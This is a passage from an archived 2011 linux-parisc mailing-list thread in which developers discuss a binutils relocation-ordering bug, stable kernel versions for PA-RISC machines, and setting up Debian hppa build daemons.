        b=dpLhF3TxDMT7uhAC/s5gY+Q4hf6n5ZXFOE6hwjFAu3coMr2XLFwFTLzkypCfB0v/2r
         3n0Cp+Yd+M46ouBXAopqOeOOQMKNZaN4mhxO71uje3FdsFctU3vAv0VrcLVfG6MN5Kq2
         9PdRyZyN6cF6JFN9bMj4U23AasmSfbgLv6sg8=
Original-Received: by 10.14.15.102 with SMTP id e78mr276069eee.8.1310052544455; Thu, 07
 Jul 2011 08:29:04 -0700 (PDT)
Original-Received: by 10.14.186.140 with HTTP; Thu, 7 Jul 2011 08:29:04 -0700 (PDT)
X-Google-Sender-Auth: oCJu6Ty_14csgvyfFZkf6NHRa7w
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3848
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3848>

Dave,

FYI.

PA should be sorting relocations in .rlea.dyn such that realtive
relocations (DIR32) are listed first before opd relocs (PLABEL32).

This is required for the dynamic linker in glibc to operate correctly.

As a workaround I'm going to fixup the problem in glibc until I get a
chance to fix binutils.

See:
http://sourceware.org/ml/libc-alpha/2011-07/msg00055.html

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Thu, 7 Jul 2011 17:49:36 +0200
Lines: 77
Approved: news@gmane.org
Message-ID: <CA+DQjFgygVS0YQ_zUfQG=BkTb_zrSN+yYxGyTU6ufC-PV7dBxA@mail.gmail.com>
References: <20110527213516.GH21744@dannf.org> <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca>
 <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com> <20110601021049.GB3984@hiauly1.hia.nrc.ca>
 <BANLkTin2DhKC_ss6UsCPYxmTR-UD=GY0uw@mail.gmail.com> <E1F45BBE-F922-4E1C-9DEC-FAF4BF4B4E26@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1310053805 10340 80.91.229.12 (7 Jul 2011 15:50:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 7 Jul 2011 15:50:05 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 07 17:50:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qeqpy-00088W-NQ
	for glpp-linux-parisc@lo.gmane.org; Thu, 07 Jul 2011 17:49:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753681Ab1GGPt5 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Jul 2011 11:49:57 -0400
Original-Received: from mail-yw0-f46.google.com ([209.85.213.46]:47725 "EHLO
	mail-yw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752825Ab1GGPt5 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Jul 2011 11:49:57 -0400
Original-Received: by ywe9 with SMTP id 9so416227ywe.19
        for <linux-parisc@vger.kernel.org>; Thu, 07 Jul 2011 08:49:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=v//ATfw2d7q78Q0pH4ItNttha65ypnNPuGz77oVLfW0=;
        b=aJVqbLEhXRH6Kst/r1t9vtiYSbngeAPhBwvEnobWAiMmJWlEZtekT7aWCdn40puNyu
         y1ax71f/CxjeMUSOe32QcrVM6Y7PCV0eFTT4cAUbSA04Shl5FTY4I8IC8JuXbdXl4vA2
         NwBqtgDjTMwnte42uyyT0YOqmOo6ddl7j5kMw=
Original-Received: by 10.151.107.1 with SMTP id j1mr188907ybm.65.1310053796516; Thu, 07
 Jul 2011 08:49:56 -0700 (PDT)
Original-Received: by 10.151.110.7 with HTTP; Thu, 7 Jul 2011 08:49:36 -0700 (PDT)
In-Reply-To: <E1F45BBE-F922-4E1C-9DEC-FAF4BF4B4E26@nrc-cnrc.gc.ca>
X-Google-Sender-Auth: EaACfQ_PZGJbBHi3zL0IZpHtuxU
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3849
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3849>

On Thu, Jul 7, 2011 at 1:20 AM, John David Anglin
<dave.anglin@nrc-cnrc.gc.ca> wrote:
> Hi Thibaut,
>
> On 13-Jun-11, at 6:19 PM, Thibaut VARENE wrote:
>
>>> I would say your other machines need updating even if the process i=
s
>>> somewhat rocky as that's the only way a broadbased release can be t=
ested.
>>
>> Well I can assign one machine (the a500, being easy to reboot/fix as
>> it is) to testing kernels, but for a stable kernel suitable for the
>> machines I'm e.g. assigning to the GCC Compile Farm[0], what would b=
e
>> a good SMP kernel version to choose? I'm looking for the same level =
of
>> hassle-freeness as 2.6.22.19 since these machines are under relative=
ly
>> heavy load and I cannot afford to tend to their care on a daily basi=
s
>> ;-)
>
> Sorry for the delay in responding. =C2=A0I think assigning the a500 t=
o the GCC
> farm
> provides good visibility. =C2=A0For GCC, the kernel version doesn't m=
atter much.
> =C2=A0The
> main issue is stability.

OK, so I suppose it's fine to stick with 2.6.22.19? I thought there
were issues with un-implemented syscalls and such, so I don't really
know...

> I was wondering if the rp3440 in the ESIEE might be assigned to runni=
ng
> debian
> buildd. =C2=A0I believe that the current set of known kernel patches =
will make
> this
> machine reasonably stable under medium load. =C2=A0Carlos recently fo=
und a big
> bug in the kernel futex code. =C2=A0In any case, I recently successfu=
lly built
> many
> unstable packages on my rp3440.
>
> I would be willing to help getting this going.

I have no problem with this, the only "active" user of the rp3440 is
Aur=C3=A9lien, so I suppose it wouldn't be a problem. Yet, my understan=
ding
is that the rp3440 is extremely slow at building anything (much slower
than my other machines, it seems) because of the cache flush issues.
AIUI that's why Debian stuck to J6700 for buildds, because those
machines were a lot faster.

Other than that, the rp3440 currently runs unstable with 2.6.22.19, so
I suppose a complete reinstall would be in order, and I'm not sure I
have time to deal with that just yet. I'd be happy to provide remote
access to the machine though, if someone steps up. FWIW, the only
machine I have left running lenny is a J5000, 2x440MHz PA8500,
previously used as an autobuilder for debian-multimedia.org.

HTH,
T-Bone

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Thu, 7 Jul 2011 12:03:48 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <CADZpyiy8O_tsm=41fNCbC_nPq77RdsEfD=UahR_yxtdm7P7u0A@mail.gmail.com>
References: <20110527213516.GH21744@dannf.org>
	<20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca>
	<BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com>
	<20110601021049.GB3984@hiauly1.hia.nrc.ca>
	<BANLkTin2DhKC_ss6UsCPYxmTR-UD=GY0uw@mail.gmail.com>
	<E1F45BBE-F922-4E1C-9DEC-FAF4BF4B4E26@nrc-cnrc.gc.ca>
	<CA+DQjFgygVS0YQ_zUfQG=BkTb_zrSN+yYxGyTU6ufC-PV7dBxA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1310054637 15871 80.91.229.12 (7 Jul 2011 16:03:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 7 Jul 2011 16:03:57 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org,
	Aurelien Jarno <aurel32@debian.org>
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 07 18:03:51 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qer3O-00080v-Uy
	for glpp-linux-parisc@lo.gmane.org; Thu, 07 Jul 2011 18:03:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751550Ab1GGQDu convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Jul 2011 12:03:50 -0400
Original-Received: from mail-ey0-f174.google.com ([209.85.215.174]:34114 "EHLO
	mail-ey0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750830Ab1GGQDt convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Jul 2011 12:03:49 -0400
Original-Received: by eyx24 with SMTP id 24so365773eyx.19
        for <linux-parisc@vger.kernel.org>; Thu, 07 Jul 2011 09:03:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=6/ySXUDgY29BwX31X+C0Wlbecr61FrjdS8FgGI2xew0=;
        b=hpRofwE095++NM787UZnvdSNVmfcqMJOIO9b+mPy+oo6JNvO0qLcoVOcmPxIUcbnRs
         6CaBPHV/XA46WbGcUgZwOnWwOV3KX/qFcg+4KbXyPZPSIkCM3NOZYASZwgd0izo44LHN
         pzeQWEdr3tg2EF+z6v8epUnM617kv7182gjFs=
Original-Received: by 10.14.127.134 with SMTP id d6mr301909eei.168.1310054628111; Thu,
 07 Jul 2011 09:03:48 -0700 (PDT)
Original-Received: by 10.14.186.140 with HTTP; Thu, 7 Jul 2011 09:03:48 -0700 (PDT)
In-Reply-To: <CA+DQjFgygVS0YQ_zUfQG=BkTb_zrSN+yYxGyTU6ufC-PV7dBxA@mail.gmail.com>
X-Google-Sender-Auth: _qZD1JAmAcbnCx5RnbRLrkVu8OM
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3850
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3850>

On Thu, Jul 7, 2011 at 11:49 AM, Thibaut VARENE <T-Bone@parisc-linux.or=
g> wrote:
> I have no problem with this, the only "active" user of the rp3440 is
> Aur=E9lien, so I suppose it wouldn't be a problem. Yet, my understand=
ing
> is that the rp3440 is extremely slow at building anything (much slowe=
r
> than my other machines, it seems) because of the cache flush issues.
> AIUI that's why Debian stuck to J6700 for buildds, because those
> machines were a lot faster.
>
> Other than that, the rp3440 currently runs unstable with 2.6.22.19, s=
o
> I suppose a complete reinstall would be in order, and I'm not sure I
> have time to deal with that just yet. I'd be happy to provide remote
> access to the machine though, if someone steps up. FWIW, the only
> machine I have left running lenny is a J5000, 2x440MHz PA8500,
> previously used as an autobuilder for debian-multimedia.org.

I can do the install and help monitor the box.

Aurelien,

Exactly what do we need installed for debian-ports?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Thu, 7 Jul 2011 12:16:06 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <CADZpyiydebN8cjQESN1WtL1KLiPn0nt0OFnU3qj1jHfT444jfg@mail.gmail.com>
References: <20110527163518.GD21744@dannf.org>
	<20110527181842.9ED0A4ED8@hiauly1.hia.nrc.ca>
	<20110527194948.GG21744@dannf.org>
	<20110527202046.GA12670@hiauly1.hia.nrc.ca>
	<20110527213516.GH21744@dannf.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1310055378 21034 80.91.229.12 (7 Jul 2011 16:16:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 7 Jul 2011 16:16:18 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 07 18:16:13 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QerFJ-000733-9K
	for glpp-linux-parisc@lo.gmane.org; Thu, 07 Jul 2011 18:16:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751078Ab1GGQQI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Jul 2011 12:16:08 -0400
Original-Received: from mail-ey0-f174.google.com ([209.85.215.174]:34542 "EHLO
	mail-ey0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750798Ab1GGQQI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Jul 2011 12:16:08 -0400
Original-Received: by eyx24 with SMTP id 24so369806eyx.19
        for <linux-parisc@vger.kernel.org>; Thu, 07 Jul 2011 09:16:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=ltBYZnRcB6MX/aV6Y50l/gqUeMEK/XP5chxijtdAO6o=;
        b=rDSVKmD29wK965rK8MMJ/MKDqoz04QnzPM7EuMLi4cVV4NMtIaZ4r+WpMLI8mWaKAg
         LA782AgMnX3zkYFnPEfIN/KpgZU8rIdvm89HphAH2qW+UpQc3O8MTYAW4j7Z/bayZXEd
         0jcF7k3B2cskCK4NDcIP4cWgEEMWWEbopKjQM=
Original-Received: by 10.14.35.163 with SMTP id u35mr272514eea.232.1310055366781; Thu,
 07 Jul 2011 09:16:06 -0700 (PDT)
Original-Received: by 10.14.186.140 with HTTP; Thu, 7 Jul 2011 09:16:06 -0700 (PDT)
In-Reply-To: <20110527213516.GH21744@dannf.org>
X-Google-Sender-Auth: LBaf3FZ5uA0HUVfktoimWOEHWQo
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3851
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3851>

On Fri, May 27, 2011 at 5:35 PM, dann frazier <dannf@dannf.org> wrote:
> On Fri, May 27, 2011 at 04:20:46PM -0400, John David Anglin wrote:
>> On Fri, 27 May 2011, dann frazier wrote:
>>
>> > There are no buildds configured for building debian-ports yet, as far
>> > as I know.
>>
>> Will this happen?
>
> If there is interest/people willing to work towards maintaining a
> stable release off of debian-ports, I can setup/manage buildds to do
> so. But, I personally don't have interest in maintaining systems that
> run an unstable-only port.

FAOD. I think we will want to maintain a stable/testing release off of
debian-ports, and I'll step up to maintain that.

First though I think as an exercise to the reader we need to get our
machines setup and rolling with unstable to ensure we can continue to
build packages.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Thu, 7 Jul 2011 10:18:10 -0600
Lines: 91
Approved: news@gmane.org
Message-ID: <20110707161810.GC12243@dannf.org>
References: <20110527213516.GH21744@dannf.org>
 <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca>
 <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com>
 <20110601021049.GB3984@hiauly1.hia.nrc.ca>
 <BANLkTin2DhKC_ss6UsCPYxmTR-UD=GY0uw@mail.gmail.com>
 <E1F45BBE-F922-4E1C-9DEC-FAF4BF4B4E26@nrc-cnrc.gc.ca>
 <CA+DQjFgygVS0YQ_zUfQG=BkTb_zrSN+yYxGyTU6ufC-PV7dBxA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1310056054 25348 80.91.229.12 (7 Jul 2011 16:27:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 7 Jul 2011 16:27:34 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 07 18:27:29 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QerQG-0005Bf-Er
	for glpp-linux-parisc@lo.gmane.org; Thu, 07 Jul 2011 18:27:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750958Ab1GGQ11 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Jul 2011 12:27:27 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:59935 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752237Ab1GGQ11 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Jul 2011 12:27:27 -0400
X-Greylist: delayed 555 seconds by postgrey-1.27 at vger.kernel.org; Thu, 07 Jul 2011 12:27:27 EDT
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 284F933E0131;
	Thu,  7 Jul 2011 10:18:11 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id RPrpAt+tm4h0; Thu,  7 Jul 2011 10:18:10 -0600 (MDT)
Original-Received: from fluid.dannf (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 8FAB033E011B;
	Thu,  7 Jul 2011 10:18:10 -0600 (MDT)
Original-Received: by fluid.dannf (Postfix, from userid 1000)
	id 48A0DA2B39; Thu,  7 Jul 2011 10:18:10 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <CA+DQjFgygVS0YQ_zUfQG=BkTb_zrSN+yYxGyTU6ufC-PV7dBxA@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3852
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3852>

On Thu, Jul 07, 2011 at 05:49:36PM +0200, Thibaut VARENE wrote:
> On Thu, Jul 7, 2011 at 1:20 AM, John David Anglin
> <dave.anglin@nrc-cnrc.gc.ca> wrote:
> > Hi Thibaut,
> >
> > On 13-Jun-11, at 6:19 PM, Thibaut VARENE wrote:
> >
> >>> I would say your other machines need updating even if the process=
 is
> >>> somewhat rocky as that's the only way a broadbased release can be=
 tested.
> >>
> >> Well I can assign one machine (the a500, being easy to reboot/fix =
as
> >> it is) to testing kernels, but for a stable kernel suitable for th=
e
> >> machines I'm e.g. assigning to the GCC Compile Farm[0], what would=
 be
> >> a good SMP kernel version to choose? I'm looking for the same leve=
l of
> >> hassle-freeness as 2.6.22.19 since these machines are under relati=
vely
> >> heavy load and I cannot afford to tend to their care on a daily ba=
sis
> >> ;-)
> >
> > Sorry for the delay in responding. =A0I think assigning the a500 to=
 the GCC
> > farm
> > provides good visibility. =A0For GCC, the kernel version doesn't ma=
tter much.
> > =A0The
> > main issue is stability.
>=20
> OK, so I suppose it's fine to stick with 2.6.22.19? I thought there
> were issues with un-implemented syscalls and such, so I don't really
> know...
>=20
> > I was wondering if the rp3440 in the ESIEE might be assigned to run=
ning
> > debian
> > buildd. =A0I believe that the current set of known kernel patches w=
ill make
> > this
> > machine reasonably stable under medium load. =A0Carlos recently fou=
nd a big
> > bug in the kernel futex code. =A0In any case, I recently successful=
ly built
> > many
> > unstable packages on my rp3440.
> >
> > I would be willing to help getting this going.
>=20
> I have no problem with this, the only "active" user of the rp3440 is
> Aur=E9lien, so I suppose it wouldn't be a problem. Yet, my understand=
ing
> is that the rp3440 is extremely slow at building anything (much slowe=
r
> than my other machines, it seems) because of the cache flush issues.
> AIUI that's why Debian stuck to J6700 for buildds, because those
> machines were a lot faster.

I don't think speed was really a concern - it was more hardware
availability and some hand-wavy belief that these machines would be
more stable.

Honestly, the most reliable build machine I've used is my
C3700. I don't recall ever having any build issues with
that. Anything it gives up in speed is definitely outweighed by
having to e.g. retry gcc 5 times before succeeding. By the end of the
port, I'd normally handbuild new gcc uploads here to avoid thrashing
on the real buildds. If given the option, I'd recommend 3 of those
boxes for a buildd ring.

> Other than that, the rp3440 currently runs unstable with 2.6.22.19, s=
o
> I suppose a complete reinstall would be in order, and I'm not sure I
> have time to deal with that just yet. I'd be happy to provide remote
> access to the machine though, if someone steps up. FWIW, the only
> machine I have left running lenny is a J5000, 2x440MHz PA8500,
> previously used as an autobuilder for debian-multimedia.org.
>=20
> HTH,
> T-Bone
>=20
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: debian hppa
Date: Thu, 07 Jul 2011 12:16:43 -0400
Lines: 50
Approved: news@gmane.org
Message-ID: <4E15DBEB.9040703@bell.net>
References: <20110527213516.GH21744@dannf.org> <20110527233738.0B95D4FCB@hiauly1.hia.nrc.ca> <BANLkTi=maOnkCLD9aU=JDYL9257EkpHxnQ@mail.gmail.com> <20110601021049.GB3984@hiauly1.hia.nrc.ca> <BANLkTin2DhKC_ss6UsCPYxmTR-UD=GY0uw@mail.gmail.com> <E1F45BBE-F922-4E1C-9DEC-FAF4BF4B4E26@nrc-cnrc.gc.ca> <CA+DQjFgygVS0YQ_zUfQG=BkTb_zrSN+yYxGyTU6ufC-PV7dBxA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
	format=flowed
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1310057083 32154 80.91.229.12 (7 Jul 2011 16:44:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 7 Jul 2011 16:44:43 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	dann frazier <dannf@dannf.org>, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 07 18:44:37 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qergr-00081f-Bh
	for glpp-linux-parisc@lo.gmane.org; Thu, 07 Jul 2011 18:44:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753530Ab1GGQoh convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Jul 2011 12:44:37 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:50314 "EHLO
	mail-07.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753362Ab1GGQog (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Jul 2011 12:44:36 -0400
X-Greylist: delayed 1670 seconds by postgrey-1.27 at vger.kernel.org; Thu, 07 Jul 2011 12:44:36 EDT
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.103])
	by mail-07.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1QerGO-0000bg-1Q; Thu, 07 Jul 2011 12:17:16 -0400
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11
In-Reply-To: <CA+DQjFgygVS0YQ_zUfQG=BkTb_zrSN+yYxGyTU6ufC-PV7dBxA@mail.gmail.com>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.103]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3853
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3853>

On 7/7/2011 11:49 AM, Thibaut VARENE wrote:
>
> I have no problem with this, the only "active" user of the rp3440 is
> Aur=C3=A9lien, so I suppose it wouldn't be a problem. Yet, my underst=
anding
> is that the rp3440 is extremely slow at building anything (much slowe=
r
> than my other machines, it seems) because of the cache flush issues.
> AIUI that's why Debian stuck to J6700 for buildds, because those
> machines were a lot faster.

The rp3440 isn't bad for non trivial compilations.  At -j4, my 800 MHz=20
rp3440 is the fastest
machine that I have for building GCC.  It stumbles running the testsuit=
e=20
where it falls behind
my c3750.  The cache flush problem slows forks.  If this could be=20
resolved, the machine
could handle significantly larger loads than the J6700.

> Other than that, the rp3440 currently runs unstable with 2.6.22.19, s=
o
> I suppose a complete reinstall would be in order, and I'm not sure I
> have time to deal with that just yet. I'd be happy to provide remote
> access to the machine though, if someone steps up. FWIW, the only
> machine I have left running lenny is a J5000, 2x440MHz PA8500,
> previously used as an autobuilder for debian-multimedia.org.
The kernel on the rp3440 needs updating.  2.6.22.19 is not stable under=
=20
load.  To do this,
remote access to the console would be needed.  Many bugs have been fixe=
d=20
since
2.6.22.19, and I think many packages may not test successfully without=20
updating the
kernel and build environment.

I have done this manually on my rp3440 for quite a few packages.

Dave

--=20
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
